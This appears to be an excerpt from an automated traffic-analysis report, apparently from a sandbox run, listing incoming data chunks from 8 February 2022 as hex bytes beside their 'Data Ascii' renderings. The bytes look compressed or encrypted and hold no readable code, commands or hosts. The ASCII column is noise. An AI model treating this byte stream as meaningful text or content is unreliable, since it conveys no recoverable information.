c2 0b 4f e4 fe 00 ea 63 04 d2 5d a8 8f 92 5f 69 c9 91 e9 5a 42 79 e1 d1 50 43 c9 32 db 05 d1 b9 17 82 0f 21 21 40 cc aa 
69 48 e4 63 55 43 63 98 87 f4 a7 13 bb f6 e1 10 0d c7 09 18 47 48 ee 9f 6d f6 2f 5c ae 74 50 8f 6d b7 93 0d a1 ce be c1 
da 0a 7d 02 19 40 fa e5 ba c2 80 36 79 01 43 b0 3e 34 f9 2e f9 a6 fc a9 1e 29 0f 2b 50 bb 3e 60 d7 5c b0 48 44 de ca 83 
87 1d 09 05 c0 28 b3 87 46 e0 83 af b9 6a cb 11 7a e0 8b 
Data Ascii: P6eSVlEUr|AJzP/oj_ ;{8^k+7dTk,a[!0#fe4%SNiKw5:h88@ggvOc]_iZByPC2!!@iHcUCcGHm/\tPm}@6yC>4
.)+P>`\HD(Fjz

2022-02-08 23:07:10 UTC 279 IN Data Raw: b0 bd 66 1a 57 7f e4 5a 2c 68 27 99 ef aa 9a 40 60 e4 1d a7 83 67 d1 d2 8e 1e 1a 11 4d dd 31 b1 d8 1e f2 3e 
90 99 15 dd b8 48 9f 95 fb 83 5d 56 38 00 91 23 35 cc e5 e4 be 8c c6 2f f8 8f 71 e4 7b c6 81 6f 47 c6 a9 12 0f a9 4e 41 cc 
6a 8d c2 8f 57 63 74 49 17 6d b5 61 d2 ee f6 5c 3a 58 33 df 73 a8 b8 e3 73 2e fe d6 c4 f0 7c 98 41 cd 3c a3 a0 78 f0 2d 
e6 44 47 ed 68 0e a3 1d 54 24 45 df 97 e7 c3 99 a2 51 26 1a e1 6c d5 ad 2a ee a8 64 e9 2d 6b 4c 1e 64 ab a3 85 0f b7 
14 4e 8d ca df 8d 4e 09 f7 6a cc 74 24 a9 0f b7 0c 66 8d f7 31 b5 3b 22 b2 f6 06 d1 04 25 4f 11 eb be 24 0d 5d 75 a7 44 
ed b7 2c 04 ed 76 a2 4c be bd 60 8f 7d 4d 71 cf 76 71 f3 fb 43 f6 bb f0 c0 3a ce fd 46 f6 ba 3a cf 74 f2 31 8f 56 35 86 45 
d5 f9 fb 48 95 d3 08 60 4c 51 4a 43 8c 93 89 80 3b 7c 
Data Ascii: fWZ,h'@`gM1>H]V8#5/q{oGNAjWctIma\:X3ss.|A<x-DGhT$EQ&l*d-kLdNNjt$f1;"%O$]uD,vL`}MqvqC:F:t
1V5EH`LQJC;|

2022-02-08 23:07:10 UTC 281 IN Data Raw: 24 75 2a f6 e7 fe 64 20 ee c6 a7 e3 65 8e af 68 2f 48 fc 3c ee 8b c0 ea 1f 90 03 29 94 de d5 39 ac 1d 16 b2 5c 
db 31 94 9e 18 ba dc 96 93 f0 1a 2f c7 31 d9 13 11 e6 c2 d0 d2 6d 8c 06 c4 55 4f c5 4f a5 89 c0 69 67 4a 4b 21 6f c1 01 
e7 c8 95 c0 24 f4 43 f5 30 37 80 7e 7e e1 8c 46 bd 22 07 b6 7b 49 21 74 b8 c2 69 7c 33 88 af f1 67 49 6c cd b1 52 78 0e 
72 d9 36 d8 60 e1 f5 1b eb 11 33 52 cd d3 f0 d9 85 db 7b 93 43 20 2f 52 80 1c f9 2b 94 df 3a a0 da 09 32 98 19 ca b9 68 
df 65 9f aa 1c ee d7 a2 97 a4 11 4b c3 65 d2 77 15 3a c6 b4 d6 b1 88 62 a8 89 4b a1 23 79 8d 2c 05 bb 4e a7 4d b3 c5 
ed 8b 74 91 2c 48 48 47 91 5c 8b 84 1a 12 5d e8 22 d1 9e 63 d2 17 6d 45 10 d4 e6 0d 18 5f ac cb 2d 0a 6d 08 11 dc ce 
1c d2 1f 45 52 04 7d 7d 91 c7 f6 8d 57 16 d0 4f 94 9d 98 47 
Data Ascii: $u*d eh/H<)9\1/1mUOOigJK!o$C07~~F"{I!ti|3gIlRxr6`3R{C /R+:2heKew:bK#y,NMt,HHG\]"cmE_-mER}}WOG

2022-02-08 23:07:10 UTC 283 IN Data Raw: bd 7f 7f 89 4d 75 54 21 7c 49 68 72 fe 36 bb b8 3d f5 fb 80 f5 41 0b 02 39 21 14 b2 d7 aa 5c f7 bc 69 9f 34 37 
23 18 d3 dc a8 58 b6 b7 6b 9b 75 74 2b a3 be c2 ba eb fb b1 79 28 38 fb fe cf 93 ff bb bc 50 3c 78 f3 93 ff bb b3 ab 34 0d 
49 e3 fa ef 7c 20 39 a7 6e 6a b6 40 8d 22 70 9a b8 e1 b3 5a b3 19 a1 e4 5c 92 01 ed d7 52 0b 66 9f 17 68 a5 5c d4 e3 e5 
fb df 28 26 c7 de 62 b1 20 3d 2a 7f 13 0b e9 bc 3b 1b 19 b6 07 cd 0c ba c4 0e 86 f0 01 48 ba 47 c5 b8 b0 6c c6 88 8c 50 
86 b0 47 e6 48 f8 12 95 8b 3b d1 dd 83 b9 ed c9 ab 7f a5 c1 29 43 b1 81 11 8b 7d c5 fe b7 41 f9 7c 7b 21 e6 b0 3b c0 da 
8c 07 4b 92 0b e0 a0 19 41 a5 cb da 82 66 8b e2 49 aa cd 2c 75 96 f1 64 f2 71 5a 2e b7 02 99 ed 74 28 a4 d0 48 14 2f 98 
d7 f3 9c 13 97 f4 6f 91 0b 76 f2 13 94 ea 6f 13 1f 
Data Ascii: MuT!|Ihr6=A9!\i47#Xkut+y(8P<x4I| 9nj@"pZ\Rfh\(&b =*;HGlPGH;)C}A|{!;KAfI,udqZ.t(H/ovo

2022-02-08 23:07:10 UTC 285 IN Data Raw: 97 6c 92 9c 3a 45 ae a0 69 0d 2e 67 23 cb 21 9e e2 08 69 1e 29 42 af 1a d0 83 6c 91 98 c3 8f 50 5b 00 04 1a 
9d 6e fd db 5e 26 e9 54 10 e0 36 93 2d dc 7c 04 ca 3f 3c 3d 0c 81 ea b6 ac 88 26 c2 2b 00 e9 67 a9 4a ae ec f2 bf 69 2f 
ce be 41 0e 86 aa 0b 99 61 49 49 a0 a3 8b 8a 63 1d 5b 01 c3 14 12 86 19 cf 93 cd 5e 0d 20 db 9e ce 1c da b6 ec 56 65 
51 0f 14 59 92 cd d7 9a 2c 18 5c 3a 20 51 1b e0 fa 93 d8 23 7b d8 9f e1 38 cd 5f 22 04 c9 77 3f 8f 81 b9 d0 96 43 7a 90 
9d 7f 49 5c 9f bd 75 57 29 6f fe 1f e7 b6 e7 dd 24 3c 1f d0 93 fa 34 cb cb c6 08 40 81 18 c2 59 43 db f1 65 83 93 fc 4e d7 
bb c0 72 ff 53 80 49 c3 e5 65 c6 8d 13 5f df 4f d0 d5 27 52 67 1e ac 1a 6f 35 c3 42 53 09 e8 ea 52 35 d4 ee 91 e0 17 2d 
52 c8 d1 dd 6e 4f 99 e1 ec 07 9d 6a a4 98 7a e9 2f d0 cd 
Data Ascii: l:Ei.g#!i)BlP[n^&T6-|?<=&+gJi/AaIIc[^ VeQY,\: Q#{8_"w?CzI\uW)o$<4@YCeNrSIe_O'Rgo5BSR5-RnOjz/

Timestamp
kBytes
transferred

Direction Data
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2022-02-08 23:07:10 UTC 287 IN Data Raw: 4a 77 fd ed 4e 3f f6 c6 1b f9 35 05 e3 fd 83 c9 ab 7d 58 8e a8 c7 94 ce 8b f9 de 4e 50 d1 1a 0e d8 0a f9 4e d5 
36 72 06 5d e5 32 a6 96 26 7a a3 1d 6e cd 44 e6 e5 87 8c 6d ad 18 6b 9e 26 58 6c 7d ba 58 63 72 b5 22 a1 b1 76 e1 8b 
70 b5 22 48 7f ba a9 02 e0 5d 62 89 aa ea 85 5a 21 a0 3a bd fa 22 ac 3f 6f a0 38 b4 2f 8f cb 33 67 bd 3b 06 97 81 75 8b 
55 aa 4a a9 69 96 19 59 71 14 59 57 4d 5e c6 b0 ae a6 18 00 03 67 db be be e8 7b 86 35 a0 bd 1a 98 61 7e 93 d0 b6 45 
18 96 a7 f2 bf a3 26 29 ff 14 bb 61 f7 3f 0d 5e cb 03 5e d5 83 c5 dc 78 42 06 55 30 8d 3d 60 b2 56 7d d7 42 d4 3d ea 80 
62 ec c1 f7 5f d0 fd 75 a7 d6 4a 95 9b d3 00 22 7c 34 28 fa fa 72 1d 4c 2f 47 9f 97 ee f0 4c bc ba cd 70 80 38 35 76 02 f4 
b2 48 48 4b 55 a3 c3 03 83 9d 6d c2 40 14 25 15 79 5c 2d 
Data Ascii: JwN?5}XNPN6r]2&znDmk&Xl}Xcr"vp"H]bZ!:"?o8/3g;uUJiYqYWM^g{5a~E&)a?^^xBU0=`V}B=b_uJ"|4(rL/
GLp85vHHKUm@%y\-

2022-02-08 23:07:10 UTC 289 IN Data Raw: a0 9e b8 91 db 5f 7b 52 18 14 fc b5 bb 96 bc 12 6c 05 7f 99 22 92 98 3a 0a 18 54 47 00 33 f3 a8 c3 f0 b5 ab 
74 07 3f e3 70 8c d7 e3 fa 4c d2 68 ba 77 10 a4 f7 1c d2 67 34 97 9c e8 d3 14 1e 93 12 d7 dd 50 99 9f cd 7b 04 19 0e b8 
44 22 32 74 03 4c f0 b7 c0 c7 cc b7 e8 18 4e cc 2a db 8d 0f a1 93 9d 84 ef 1c 7a 07 c4 e2 fc c4 07 a2 c7 f8 cb e5 88 3a 
08 26 03 7a af c1 f8 b9 24 81 5f 5e d7 42 17 d1 30 dd 9c 9f b7 3a 3f 10 f9 bd d8 93 7b c7 1a 50 b8 04 ea 41 bc 83 0d aa 
7a 40 ce 69 f1 7c ce e2 bb fb 29 01 87 2d 4a 7a 44 ee cd 32 6f a8 ce fe 28 22 0c 3d eb a9 44 b2 0c 3a cf f2 ab dd 2c 31 20 
93 ea b1 c9 52 29 3a 81 9d 22 b5 cf 12 c5 2e 44 5c 52 c9 e7 d6 1a 06 28 50 52 00 14 86 f1 75 d7 45 b7 76 1b 02 5a b1 
d8 c1 12 89 5a 29 2f 49 e5 ce a4 ce 1f 61 43 55 d3 2e 80 
Data Ascii: _{Rl":TG3t?pLhwg4P{D"2tLN*z:&z$_^B0:?{PAz@i|)-JzD2o("=D:,1 R):".D\R(PRuEvZZ)/IaCU.

2022-02-08 23:07:10 UTC 291 IN Data Raw: 8e 9e 7c d4 ce bc be 63 64 f4 be e1 26 cf 82 dd 1a 73 4e 88 19 35 4d 3e ce 1e 4a 57 f2 22 00 8c d9 cc 68 b0 
e5 c8 ab 65 26 0b 68 4d b2 43 64 66 4b b2 a7 a5 18 3a ef 22 26 f9 da a5 d5 32 18 12 07 b4 50 17 8d fc 47 5f 81 d7 dc 9c 
42 14 94 87 6a c2 bf bf 03 fe 83 bb c0 34 40 78 03 1f 03 11 3f 23 49 ca 7f 2b 75 82 73 00 d6 77 b0 c3 9e 77 98 1a b5 df f1 
26 89 95 2a 0d 9e fc 16 31 9a 3f dc f2 59 fc f7 c0 2a c0 cb 80 21 fc 40 c8 be 1b db 43 f6 ac 3c e0 7d ec 3b 03 ff 70 b9 9e 
7d ee 3b 01 e1 ee 34 0e 6a a4 a3 e9 b9 ee 2c 0e 72 78 bc 9b e6 fa 2b 19 70 78 be 9b e4 f3 f6 b4 6f b3 d9 2f ed fb c2 df 
d1 74 62 dd 5e 3c 6b d9 d8 1f 56 e5 e4 23 1c 5b cf 69 82 68 4d 29 b9 55 fb fd 92 6b 91 c1 ae 21 6a ea 0b 48 56 d6 0f 8b 
9c 15 cc 48 b6 28 08 8b 75 6e 02 47 3e 72 c6 84 fd 
Data Ascii: |cd&sN5M>JW"he&hMCdfK:"&2PG_Bj4@x?#I+usww&*1?Y*!@C<};p};4j,rx+pxo/tb^<kV#[ihM)Uk!jHVH(unG>r

2022-02-08 23:07:10 UTC 323 IN Data Raw: 19 57 e5 fe ec 90 26 b5 6b 62 dc 3d 23 25 f5 3e d6 e2 36 75 41 11 cf 5d ce 9b 37 41 78 48 4e 88 bb 8b 8d 2d 
41 1d 96 9b 87 b8 dc 4b af 4c 94 c5 24 c7 90 c4 19 fb ac f8 9e b5 2d 38 b5 6f e8 fb 76 16 21 38 b5 d5 ae 76 63 17 89 48 
5f b2 73 de 44 05 a6 f6 8b 7c 6f 35 48 bf e0 7b 9e 91 c0 45 a2 34 47 0f 52 bf 07 0f 93 30 ff a9 30 fc be ae 0d c0 82 86 ea 
48 ca c9 c3 4b 3f 0e 00 02 b8 fc cb 69 3b 4a 00 a6 fa 01 87 54 31 29 48 d6 fd 5d 8f 31 58 17 4f ba 18 17 8e 38 f0 0b 09 70 
c0 21 f3 4d fc 1d cf 9b 93 78 0c 58 d3 43 ca ee 0b 68 97 8f 37 54 93 4c fd 97 50 8f d6 77 31 b3 ea 73 f2 75 29 b0 31 5f 8c 
89 0d 63 cc b2 a3 af 8a 27 9a 93 b6 6f 86 b9 73 52 ba 85 83 51 92 5c a8 6d f0 60 94 27 0b 4b 3f 46 37 77 3b 85 fd b4 f8 
46 d6 f2 93 7a ea b2 98 46 61 f2 9f dd e3 6e 1d 
Data Ascii: W&kb=#%>6uA]7AxHN-AKL$-8ov!8vcH_sD|o5H{E4GR00HK?i;JT1)H]1XO8p!MxXCh7TLPw1su)1_c'osRQ\m`'
K?F7w;FzFan

2022-02-08 23:07:10 UTC 325 IN Data Raw: 60 02 0c c3 49 8f cd 00 f7 3f 46 48 e3 b5 0e 46 c8 77 01 7a f4 fc 49 71 7f b6 ce 96 94 3d 88 95 22 f7 0f dd dc fd
82 1c 1f d5 13 97 bf c5 9c d9 79 df 4d 18 ba 55 07 df a9 d2 c5 31 d8 5f 04 f2 52 17 c3 e1 d9 d1 00 29 1a 12 8b d1 11 a2 
62 74 15 20 a9 b7 dc ab e9 7d e0 2c a3 df 2f 6f 01 24 6c ca 05 a6 96 03 cc 21 dc a1 5f a6 97 03 d0 2d 57 0f 5b 67 d8 e8 
b0 4f dc d4 b0 67 9f 56 f8 58 18 1c 5f bf fb 93 11 51 ba 42 d0 92 38 ba ec 2c 8e 31 a4 e1 05 7f 26 20 8e 3f 1d e2 3b b3 9f 
d7 fe 71 28 5d 7c 44 ed 96 ca 8d d1 40 77 d1 12 83 31 d2 a5 79 ba 72 b9 f2 f2 72 32 f0 c9 b4 72 d0 15 3f da c8 8e b5 1a 
57 88 76 91 1d 17 91 7a 96 5f 54 f1 dc 9f d6 b8 19 d4 56 73 92 9a de a0 eb f9 12 63 28 c5 c4 7c 74 06 07 40 f4 c9 3b 44 
be 76 dc a7 34 4a d9 28 7e fd 3e d3 f5 bd 3b 18 
Data Ascii: `I?FHFwzIq="yMU1_R)bt },/o$l!_-W[gOgVX_QB8,1& ?;q(]|D@w1yrr2r?Wvz_TVsc(|t@;Dv4J(~>;

2022-02-08 23:07:10 UTC 327 IN Data Raw: ee e6 4a 0f 65 da 4a 84 a5 c1 03 44 e2 c2 b5 61 ac 46 77 18 67 85 b4 db ec 25 bf f0 d9 25 83 cc 52 6d b8 47 
18 ab 87 7f da 68 0c 39 d9 df 70 b2 91 01 83 8d 53 c2 c0 75 90 75 53 fe d8 7d 78 56 19 be bb 15 e1 40 f5 a6 23 f7 18 2d 
83 da 61 ef 40 19 a2 64 08 17 89 1c 08 2b b5 97 42 ef 3e d1 41 58 a0 5e 09 58 2b 16 1f d3 63 1d 34 3d 86 de f7 7b 85 68 
50 f0 c5 6c 9b 7b 65 69 10 bb 7e 2a e8 78 c8 5e 63 30 16 46 5b f2 d5 cd 13 fa fe f5 bb c6 c2 7e fb 20 ca 46 39 e3 09 cd 
79 07 ca c9 bf 5d 5e 08 7c 9f 9d cb bf 6f 9e 40 f7 f0 79 c3 7c b8 d6 24 f7 33 9e 93 10 a0 15 d3 17 53 89 d3 9c 1b 47 4f a4 
d9 84 64 a5 71 b8 58 2e 31 5e c9 16 f3 9d 0a 3c 25 a1 36 00 ae e1 91 e7 4d 22 17 17 47 a4 e7 14 b7 b5 17 1e 9c da 4c 
22 a0 d5 43 2d af 5e 09 b2 48 bd 9f 39 00 92 14 79 2f 71 
Data Ascii: JeJDaFwg%%RmGh9pSuuS}xV@#-a@d+B>AX^X+c4={hPl{ei~*x^c0F[~ F9y]^|o@y|$3SGOdqX.1^
<%6M"GL"C-^H9y/q

2022-02-08 23:07:10 UTC 329 IN Data Raw: 83 aa c6 f1 7b 64 ed 0c ba a7 5d e9 31 07 57 62 7f d1 6c a3 be 12 e7 eb bc 52 c5 37 37 50 fe f1 bc f8 f4 6a 37 
b0 33 6b fb cd b4 a0 30 8d 97 23 18 5c bc fb 50 60 80 ff 93 aa 43 3c 50 81 b8 6e 6c bd 48 6d e7 fd 4f 86 e7 f2 cc 16 6c b2 
e3 f5 50 74 90 34 91 b7 1b 7c 8b cd d8 af 48 0e f3 5f 37 32 cf d4 7d b2 1c 5f 3b b1 ab 91 7b 39 70 5a 7f b9 97 99 ac 7a 54 
b1 7c 3a dc 6a bb b1 92 ea 58 b5 12 0d 99 76 d1 ce 12 3c 51 1d 99 74 d1 ce d9 d4 1a 0d 52 9e da 86 12 99 39 1e 12 96 
0a 22 d0 1d 42 60 cb de 81 a3 40 98 82 14 80 ab be d7 0b e3 fc fc c8 20 3f 77 8e 23 88 b7 bd 1f 4b 3c f5 5d 68 ff 36 9e 
e3 b9 35 29 23 8a 09 ea a8 c2 4b d1 6b 01 88 5a 2d 02 3f 9a 1e 3e fc 11 50 bc 17 93 2b 79 d4 50 e8 f2 9a 86 1b 9b 58 45 
90 61 cb 76 27 a9 40 3e f4 22 06 2f 43 e2 35 13 82 
Data Ascii: {d]1WblR77Pj73k0#\P`C<PnlHmOlPt4|H_72}_;{9pZzT|:jXv<QtR9"B`@ ?w#K<]h65)#KkZ-?>P+yPXEav'@
>"/C5

2022-02-08 23:07:10 UTC 331 IN Data Raw: 49 22 b8 b0 4c bd 84 8c 64 14 0f ca 75 a2 cb e1 cc 3d f7 dd e4 a2 7c 9d dd 81 c8 1d 56 c9 06 85 79 0b c5 fe 
bb c8 06 3d 30 8e 1e b6 fc 09 05 39 b4 0d f5 28 3b 45 fd 14 ed 1f b9 d7 2e 94 f1 e4 a5 d2 f2 52 09 28 34 ea 38 ea f7 5d 
ab 61 bf 55 80 3b ff 69 bc 7d fc de 54 f6 bc e6 77 43 c2 6d 3f 4b e9 29 7f 77 d5 02 5a 36 e9 3e 5e f5 26 fd 9d 36 d6 fe 16 
7e 49 19 e5 f5 01 ae 02 0e 8a ee 05 ed 16 ee 2e e7 57 d2 12 6c 1f c9 2e ba 18 8c ed 79 50 87 c6 63 11 bb fa 29 d1 93 ec 
02 a2 d2 d0 3e 29 9a cb 02 ff f2 8e c1 3c ba 85 ea 3f fb b9 d6 75 3b 32 9e 70 13 4a 91 fb 59 d5 76 30 d2 9f c1 d7 01 0b 
4a 97 2e e8 ba ab a5 a0 a3 20 ed 92 28 66 fc 25 f6 96 ed ae b8 12 ce 25 8c 22 44 dd 8f 92 88 f6 25 d3 b4 ca 21 10 7b 09 
e2 d3 8b 0a ca 2d 01 c6 a6 36 8a 80 ac 81 41 ab c6 bc 
Data Ascii: I"Ldu=|Vy=09(;E.R(48]aU;i}TwCm?K)wZ6>^&6~I.Wl.yPc)>)<?u;2pJYv0J. (f%%"D%!{-6A

2022-02-08 23:07:10 UTC 333 IN Data Raw: 81 57 f6 e0 44 1a 34 23 cf ea 32 a8 85 6c f1 2f cd da 5a df f1 5c 12 e5 7f 14 31 62 37 3d b7 24 02 8b 73 af 4a 
49 f4 e7 f9 8e c0 79 4a 0c 88 74 00 b3 6f 9f d8 a2 e4 d5 67 45 07 95 46 8e 3b 94 7a 58 48 29 b9 9b c3 89 8a dd c0 3f 4e 
2d c3 15 40 ee 00 d6 fd 47 8b ad ce 7b b7 91 f2 47 8b 2d 79 bf b8 99 e1 34 f6 56 57 e7 35 95 94 6c 77 af 57 ab b4 6c e3 
59 3f 22 61 95 b4 da 63 21 7d 51 18 12 41 6d 24 2e 7d 51 e8 a5 3d 72 db 8e c2 dc e7 b2 49 34 c4 39 07 ab 23 ca 8c ed 
3b 7d e1 e9 fb 72 ee 2a 38 5a 3e 01 d9 cd 02 3d 52 85 19 b6 14 86 ae 7a 10 45 b0 64 d3 86 3b 24 d3 55 13 e4 58 1d 0f 
6f 1e 05 b8 29 91 4d bd d9 80 c6 f5 d1 0e 06 f6 fa 6b 93 ca c6 ed db c6 48 a5 dc bf 8a 66 1f 7c 08 2e 12 36 bf c9 f9 bd f5 
56 1e 5e c9 80 dc e3 0a 43 9a e0 bd 95 15 a8 33 36 92 e0 
Data Ascii: WD4#2l/Z\1b7=$sJIyJtogEF;zXH)?N-@G{G-y4VW5lwWlY?"ac!}QAm$.}Q=rI49#;}r*8Z>=RzEd;$UXo)MkHf
|.6V^C36

Timestamp
kBytes
transferred

Direction Data
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2022-02-08 23:07:10 UTC 335 IN Data Raw: 71 5a b7 42 b2 10 6c 69 1f aa 50 55 57 aa 7a 1b 94 69 b9 5b 5c 55 49 58 d7 13 43 94 81 10 05 97 36 0a 4d d8 
d1 41 8e 1b 12 07 84 ac c2 85 b0 ae 7e b8 8c 92 05 7b 4f 51 c6 b7 18 52 80 b4 af 2a ca 3b 48 d9 4d 71 c7 3e a6 f6 8d a9 
41 15 0a e1 48 9e 42 f1 c3 d0 cd 16 40 fb 5e d5 83 38 16 ee c9 bf f1 69 89 00 16 ea 4a b7 f9 ac 49 00 1b 27 e9 c8 90 6f 
eb 43 92 54 2d c8 dc 82 60 e1 1e 41 20 c3 c2 ca 88 c9 59 41 c0 0e 58 02 67 c5 93 3f 2f 0d b8 cb 12 31 84 8d 2e 86 44 cd 
e6 ba 0c c9 6d f2 93 2e ce 79 d3 29 5d e5 d3 26 52 ea 58 6e 55 61 12 f5 9e ea 58 46 4d 7e d3 06 62 ed 58 46 c1 c6 9b cd 
89 ff 10 85 bb 74 5e 16 90 fe 16 1d 12 b6 0c 36 27 2c 30 0a 61 2f 86 cc 21 24 ba e4 a0 6c fd 03 f3 af 3e c0 7c e7 b9 27 ff 
60 f1 2f b5 e7 16 dc fd a0 f1 97 3e 63 32 1c 76 77 78 
Data Ascii: qZBliPUWzi[\UIXC6MA~{OQR*;HMq>AHB@^8iJI'oCT-`A YAXg?/1.Dm.y)]&RXnUaXFM~bXFt^6',0a/!$l>|'
`/>c2vwx

2022-02-08 23:07:11 UTC 337 IN Data Raw: 15 bc 61 6b 29 80 ea 2b 2e 63 72 2b 21 6c f9 6d 2b db 5c fd a0 9b 73 1e 2b d3 69 95 63 19 e2 6d ad b3 ae af 
6e 04 68 84 cf 83 54 b8 44 cb dc 73 cf 33 12 ef 83 f1 d1 58 45 da 42 df 79 e6 c9 97 f1 35 42 6f 3f a3 0e ad fc 14 c8 86 01 
93 f4 ba 8a db 7c 21 01 23 b2 69 4d e1 71 de 8b ca 9e 59 b7 f6 15 11 3f 55 9e e9 f1 17 d2 2b 32 a0 14 00 eb 27 28 3c 60 
67 2f df f8 67 a4 99 f2 ab e3 aa 32 68 20 3a b9 28 0f d9 32 60 15 52 7a ea de 79 43 6a e2 45 c8 22 6a 96 e3 10 ea aa df 
9b a2 22 04 b0 89 a2 38 8c 02 ea b0 6f 29 f6 30 53 15 7d 78 db fe 56 6d 5b c2 6a e6 13 4a 99 cd 1d ca a5 f1 96 82 6d da 
90 02 51 e6 1b 4a d9 65 30 35 59 59 0c be 11 d1 87 95 61 51 bb a9 ea 19 33 3a c1 70 b3 06 fd fb fb 8e 66 d0 99 0e 5a ec 
12 46 d2 4f 39 1d 52 73 05 96 1a fb ae bd 56 7b 92 81 
Data Ascii: ak)+.cr+!lm+\s+icmnhTDs3XEBy5Bo?|!#iMqY?U+2'(<`g/g2h :(2`RzyCjE"j"8o)0S}xVm[jJmQJe05YYaQ
3:pfZFO9RsV{

2022-02-08 23:07:11 UTC 341 IN Data Raw: fc b4 5b 16 3f 77 13 12 75 e1 1f 58 f3 e5 9d 1e c0 52 46 57 06 bc 49 95 c5 89 5a 74 43 3d 31 37 0d bc 73 fb 
8a af 3b ff c0 39 37 7c f5 3c b4 cb 21 be 78 b2 0f 6d 03 71 cc ae c4 31 c6 69 8e bf c6 23 08 bb 41 69 a6 c7 8d 10 83 08 
3d d5 01 c0 2e 9f 97 cc e2 e6 b2 02 52 22 7e 7b 79 f8 34 fd 7d 7b 01 f8 9e cc c4 34 e7 e7 1c 1c 2e 64 29 19 fd d3 ed d5 
84 f8 32 9f 02 fc 19 db 2b c0 25 91 eb 80 1e ad 5d 62 35 39 fc 5e 09 73 07 1e c1 4f 2c 60 60 73 10 64 a3 a8 d3 a7 60 83 
a2 06 5c bf ea c5 76 ff d7 f9 4a 74 9f 7f c6 f3 d7 f9 c6 78 9f 77 5a 7c 5c b5 99 bf 9f fd 1f bb 10 b3 91 97 5a 34 76 64 12 b2 
7a e6 5a a4 30 61 bd 4f b7 2b 0a a8 54 00 57 97 68 3c dc dd ee 18 57 9d d5 24 9b db 9b e7 58 18 e1 24 9b db e2 a6 d3 
dd 02 a4 2b df b4 23 50 1d 77 e0 93 9e 30 d3 24 67 78 
Data Ascii: [?wuXRFWIZtC=17s;97|<!xmq1i#Ai=.R"~{y4}{4.d)2+%]b59^sO,``sd`\vJtxwZ|\Z4vdzZ0aO+TWh<W$X$+
#Pw0$gx

2022-02-08 23:07:11 UTC 373 IN Data Raw: 81 f9 86 65 83 5c 4a c8 80 da ba c2 b1 16 09 c9 72 b3 c5 7a 68 70 4f 32 6b 96 73 fe a8 55 f8 00 9b 99 3b c3 2f 
71 0b 41 e3 dd c0 e4 2f 71 c1 41 e3 5d c0 e4 2f f1 d3 41 e3 47 c1 e4 2f f1 c9 41 e3 d9 db e4 2f cd da a2 2c 7b 01 28 6c 
78 d2 00 6a dd 50 fa b9 6a b0 5f 3f 90 7b e8 e5 1a 3b eb 24 32 4b 27 5b 39 c4 e7 59 9c 46 1d 8a 12 8a 9a 81 98 c2 98 a9 
5c 32 9b 81 9c b8 d3 82 17 f8 d4 59 17 73 9c 5e 9c 39 07 95 17 73 ac 46 9c 39 1f 9d 17 73 a4 7e 95 e5 26 eb 17 71 ad 
ab 38 92 26 e3 11 62 1a 13 00 e5 54 97 c2 ad 66 bc a8 d3 5a 80 27 9b 61 0b 67 a0 5d bc f4 27 13 38 35 d7 02 70 38 fc 
52 0e 04 c0 d9 4e 3f fc 6e b0 b4 b4 70 3b 5c af fb 7d 44 63 b6 7f 87 a0 75 43 51 f7 eb 80 92 75 95 43 41 b6 56 0d d5 7d 
dd 45 de fb 95 43 e2 2d 09 df 21 ee 82 97 0a 65 c4 94 bc 97 
Data Ascii: e\JrzhpO2ksU;/qA/qA]/AG/A/,{(lxjPj_?{;$2K'[9YF\2Ys^9sF9s~&q8&bTfZ'ag]'85p8RN?np;\}DcuCQuCAV}EC-!e

2022-02-08 23:07:11 UTC 375 IN Data Raw: 61 03 45 6c a6 c2 b5 6e dc 05 76 ad 1f 8e de a7 d9 05 96 30 3e f6 dc f7 f7 8d 1b 34 34 4e 90 9c 37 8f ea 5b f4 
4c 29 d0 5c 46 ef 5b 14 d1 08 a8 9b 99 8f 4f 68 1b c7 80 a3 53 00 41 53 51 7a 86 90 92 b9 0d 38 98 7c 86 70 0f 9b 75 3a 
c8 52 0e fd 0b 91 cd 76 a3 92 0d 0c 64 51 ce cf ef f9 c4 0a 64 b1 53 ed 97 3e 1b 6a 70 cd 99 22 bf 06 d1 e5 7e f6 d3 9f b9 
35 10 5c 32 9d 1a 98 b9 d5 8d 7f 4a 9f 4a b6 02 18 ad 55 3e 1b e7 d2 d9 f8 a7 6d 3e 1b 6e db ff 33 be 50 b7 b4 59 a3 3c 
f4 5a 70 b7 be dd 97 44 94 c5 aa 78 a8 ef 70 bc 6b 2c 30 03 8c 97 eb cf ca e2 2a 0c 09 e6 ad eb ee 11 6e 28 2d 6a ac eb 
ee a9 27 43 ed 6a ac 0b 62 8d 1f c7 17 0a dd 14 f1 36 1e d7 32 34 3d 0c 48 f6 fe cf 8b 7d 56 c5 49 f6 1e 52 ae 45 d2 27 
21 8c 01 65 03 b0 c2 a6 c0 b2 e0 75 08 b0 9a b7 cb 
Data Ascii: aElnv0>44N7[L)\F[OhSASQz8|pu:RvdQdS>jp"~5\2JJU>m>n3PY<ZpDxpk,0*n(-j'Cjb624=H}VIRE'!eu

2022-02-08 23:07:11 UTC 377 IN Data Raw: 01 04 31 59 e6 f7 ba 19 e5 30 31 53 62 d7 c2 d8 2a 50 25 23 a1 10 26 e4 2a 5a a1 03 d1 d1 e9 84 36 22 62 cc 
b9 c5 99 84 73 8f 52 0f 3b 08 b5 fc b0 48 b6 3b 3b 02 31 dc c8 89 79 5b 2f 72 f2 1b 2c b5 79 51 ab 52 82 da e3 d5 65 29 
68 9d ea ce 93 d5 20 84 58 5e 68 03 bf ad e3 43 bc 6a 68 09 3b 8d 9b 82 73 0a 7c 79 f8 4a 7f be 73 00 f8 59 88 8b b0 de 
6f 78 3b 96 e0 9f c0 de 2a d5 0b 55 62 52 ec a6 e9 12 c7 69 62 58 40 8e 91 d3 08 09 76 28 83 49 5d e7 08 03 da 00 f3 07 
5d e7 10 c5 9e 24 d3 ed 57 6c 54 0a b4 50 57 40 33 b7 b4 cb 7b f0 53 80 b8 33 90 c8 fb 10 52 0b 38 ea d5 ec db 26 9b 2a 
1a e5 58 a1 52 62 bf 5a d9 22 94 89 52 68 13 6e a9 e3 5b e9 4e 10 d0 a9 4d c3 5b e3 ca 24 a8 98 0d e7 6b 5b 86 4f 68 
98 0d 07 e7 7f f6 4f 20 bd bc c8 c7 56 f4 4f 20 bd f6 64 fb 
Data Ascii: 1Y01Sb*P%#&*Z6"bsR;H;;1y[/r,yQRe)h X^hCjh;s|yJsYox;*UbRibX@v(I]]$WlTPW@3{S3R8&*XRbZ"Rhn[
NM[$k[OhO VO d

